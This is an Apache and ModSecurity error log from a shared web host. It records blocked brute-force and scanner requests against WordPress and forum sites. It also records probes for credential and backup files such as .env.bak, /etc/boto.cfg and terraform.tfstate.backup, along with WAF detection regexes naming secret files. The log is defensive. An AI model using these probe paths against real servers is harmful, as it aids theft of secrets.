[unique_id "ai3z2VWSojQL4F7upKCHaAAA8ik"] [Sat Jun 13 18:20:41.052883 2026] [security2:error] [pid 646876:tid 647093] [client 172.56.168.133:65488] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3z2dyTkdrNlD40tSHATQAAAFU"] [Sat Jun 13 18:20:41.052978 2026] [security2:error] [pid 646876:tid 647093] [client 172.56.168.133:65488] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3z2dyTkdrNlD40tSHATQAAAFU"] [Sat Jun 13 18:20:41.208210 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1 [Sat Jun 13 18:20:41.208470 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1 [Sat Jun 13 18:20:41.698147 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.72:58353] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:41.698589 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.72:58353] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:41.808844 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNlL2lk [Sat Jun 13 18:20:41.809142 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNlL2lk [Sat Jun 13 18:20:41.868463 2026] [security2:error] [pid 648189:tid 648321] [remote 152.53.111.131:49484] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mmccray.com"] [uri "/wp-login.php"] [unique_id "ai3z2VWSojQL4F7upKCHgQAAkGI"] [Sat Jun 13 18:20:41.997845 2026] [security2:error] [pid 648189:tid 648485] [client 210.217.96.217:7222] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3z2VWSojQL4F7upKCHhQAAAQM"] [Sat Jun 13 18:20:41.998042 2026] [security2:error] [pid 648189:tid 648485] [client 210.217.96.217:7222] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3z2VWSojQL4F7upKCHhQAAAQM"] [Sat Jun 13 18:20:42.279593 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:20:42.280056 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:20:42.311246 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.5:38105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:42.311514 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.5:38105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:42.464226 2026] [security2:error] [pid 648189:tid 648229] [remote 17.241.227.21:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z2lWSojQL4F7upKCHjgAAjQk"] [Sat Jun 13 18:20:42.577774 2026] [security2:error] [pid 646876:tid 646972] [remote 17.22.253.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z2tyTkdrNlD40tSHAdAAAcl0"] [Sat Jun 13 18:20:42.579636 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.6:59718] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:42.580076 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.6:59718] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:42.647143 2026] [security2:error] [pid 648189:tid 648477] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/s3/.env.bak"] [unique_id "ai3z2lWSojQL4F7upKCHkgAAAPs"] [Sat Jun 13 18:20:42.782233 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:20:42.782488 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:20:42.863043 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.92:34028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:42.863305 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.92:34028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:43.088049 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.19:62128] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:43.088487 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.19:62128] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:43.100293 2026] [security2:error] [pid 646876:tid 646896] [remote 17.241.227.148:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z29yTkdrNlD40tSHAggAAUBE"] [Sat Jun 13 18:20:43.317820 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:43.318123 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:43.352592 2026] [access_compat:error] [pid 646876:tid 646898] [remote 57.141.14.59:20517] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:43.353087 2026] [access_compat:error] [pid 646876:tid 646898] [remote 57.141.14.59:20517] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:43.635580 2026] [security2:error] [pid 648189:tid 648375] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/zip/tests/bug7658.phpt"] [unique_id "ai3z21WSojQL4F7upKCHrgAAAJs"] [Sat Jun 13 18:20:43.668594 2026] [security2:error] [pid 648189:tid 648290] [remote 17.246.23.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z21WSojQL4F7upKCHsQAAlUQ"] [Sat Jun 13 18:20:43.714765 2026] [security2:error] [pid 646876:tid 647112] [client 47.79.201.247:22436] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.201.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.loohan.com"] [uri "/viewtopic.php"] [unique_id "ai3z29yTkdrNlD40tSHAjwAAAGg"], referer: https://www.google.com/ [Sat Jun 13 18:20:43.765305 2026] [access_compat:error] [pid 646876:tid 646967] [remote 57.141.14.31:37210] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:43.765664 2026] [access_compat:error] [pid 646876:tid 646967] [remote 57.141.14.31:37210] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:43.794490 2026] [security2:error] [pid 648189:tid 648364] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/etc/boto.cfg"] [unique_id "ai3z21WSojQL4F7upKCHtAAAAJA"] [Sat Jun 13 18:20:43.843484 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:20:43.843838 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:20:43.874210 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.67:37967] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:43.874673 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.67:37967] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:44.234178 2026] [security2:error] [pid 648189:tid 648385] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/terraform.tfstate.backup"] [unique_id "ai3z3FWSojQL4F7upKCHxQAAAKU"] [Sat Jun 13 18:20:44.285069 2026] [security2:error] [pid 648189:tid 648221] [remote 216.73.216.223:14345] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3z3FWSojQL4F7upKCHzQAA9AE"] [Sat Jun 13 18:20:44.305001 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.34:45628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:44.305303 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.34:45628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:44.318799 2026] [access_compat:error] [pid 646876:tid 646905] [remote 57.141.14.64:59354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:44.319216 2026] [access_compat:error] [pid 646876:tid 646905] [remote 57.141.14.64:59354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:44.361227 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQy [Sat Jun 13 18:20:44.361552 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 